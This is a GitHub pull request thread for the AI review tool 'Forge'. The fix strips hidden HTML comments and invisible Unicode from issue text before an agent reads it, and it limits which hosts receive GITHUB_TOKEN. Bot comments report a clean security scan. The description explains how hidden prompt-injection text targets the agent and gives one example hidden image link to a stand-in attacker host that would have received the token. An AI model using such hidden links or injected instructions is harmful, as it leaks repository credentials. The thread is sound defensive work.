[iamrraj]

Why

The Radware-reported campaign (Sept 2026, 61 public repos) hid commands in issue and comment text that GitHub doesn't render, aiming at workflows that pass that text into a shell. Forge's workflows don't do that, but Forge passes the same text to an agent that holds contents: write and the model credentials.

Changes

• Image fetcher token leak (src/github/images.ts). GITHUB_TOKEN was sent to any image URL containing github, so a hidden ![x](https://attacker.example/github.png) received it. The token now goes only to github.com, user-images.githubusercontent.com and private-user-images.githubusercontent.com, over https, and never to a URL with userinfo.
• Hidden text stripped (src/github/context.ts). HTML comments (including unterminated ones), link-reference definition lines ([//]: # (…)), and zero-width / bidi / Unicode tag characters are removed before the model reads an issue, PR description, discussion, or @mention (including skill arguments). Images hidden inside comments are not fetched.
• Untrusted-data note. Every prompt built from user text says it is untrusted and that instructions in it are never followed.

Tests

• New: tests/github/context.test.ts
• Extended: tests/github/images.test.ts (token host allowlist, including look-alike hosts) and tests/github/handlers.integration.test.ts (@mention end to end)
• Every new test was written first and failed before the fix.
• npm run typecheck is clean; npx vitest run passes 867/867.

Not covered

• I didn't post a live issue to confirm that GitHub hides [//]: # lines. That behaviour comes from the CommonMark spec.
• Visible comments from strangers still reach the agent, with only the untrusted-data note guarding them.
• Images on non-GitHub hosts are still fetched, now without the token.

After merge

Cut a release and move v2, redeploy the hosted app if it runs this code, and pin consumers (shipit_agent, shipit-watchtower) to the merged commit SHA.

[github-actions]

🛡️ ShipIT Forge — security scan

✅ Nothing found. No committed credentials, no infrastructure or workflow misconfiguration, and nothing matching the source-code security rules.

What was scanned

• Committed credentials — Named shapes from thirty-one providers — GitHub, AWS, Anthropic, OpenAI, Google, Slack, Stripe, GitLab, SendGrid, Twilio, Shopify, HuggingFace, Linear, npm, JWT, PEM private keys, database URLs and more — and, because a provider list is never complete, a generic pass that reads the variable name and the randomness of the value rather than the vendor. Placeholders, names and empty PEM headers are not findings; a real key in documentation is one, at lower severity.
• Infrastructure and workflows — Dockerfile and Compose (running as root, :latest bases, remote ADD, privileged services), Kubernetes (privileged pods, host-path mounts), Terraform (0.0.0.0/0, public buckets, encryption switched off), and GitHub Actions (mutable action pins, pull_request_target, untrusted event text reaching a shell).
• Source code — Command injection (CWE-78), path traversal (CWE-22), clear-text logging of a credential (CWE-532), information exposure through an exception (CWE-209), open redirect (CWE-601), unsafe deserialization (CWE-502), binding every interface (CWE-1327), and workflows that never declare their permissions (CWE-732). Each needs something attacker-controlled and something dangerous done with it on the same line.

All of it is deterministic: the same commit gives the same answer, every time, with no model call and no token cost. The model review judges what is reachable and worth worrying about; this pass judges nothing and simply never gets bored.

_{Scanned 6 files in the files this pull request changes. No model call — this scan is deterministic and costs nothing.}

[github-actions]

👀 ShipIT Forge — what this run looked at:

Pass	Looking for
🔑 Secrets	Committed credentials — provider shapes, entropy, file context
🏗️ Infrastructure	Dockerfile, Compose, Kubernetes, Terraform, workflows
🧩 Code	Injection, traversal, credentials in logs, unsafe deserialization
🤖 Code review	The model reads the diff — correctness, security, and what it would break

_{The scans are deterministic — no model call, no token cost — and run before the review, so their findings survived even if the model run stopped early. Findings arrive as inline comments, plus one security-scan comment grouped by rule.}

---

🔍 ShipIT Forge reviewed this PR — 💬 commented (no blocking issues)

No findings.

[github-actions]

ShipIT Forge review

✅ No blocking issues found. I reviewed the changed files and ran:

• 🛡️ Security checks — SSRF, injection (SQL/command/template), broken auth/authz, hardcoded secrets, unsafe deserialization, path traversal, weak crypto.
• 🔧 Code review — correctness, error handling, missing tests, clarity.

Nothing to flag. This is a comment, not an approval — ShipIT Forge never approves PRs; a human reviewer should approve and merge.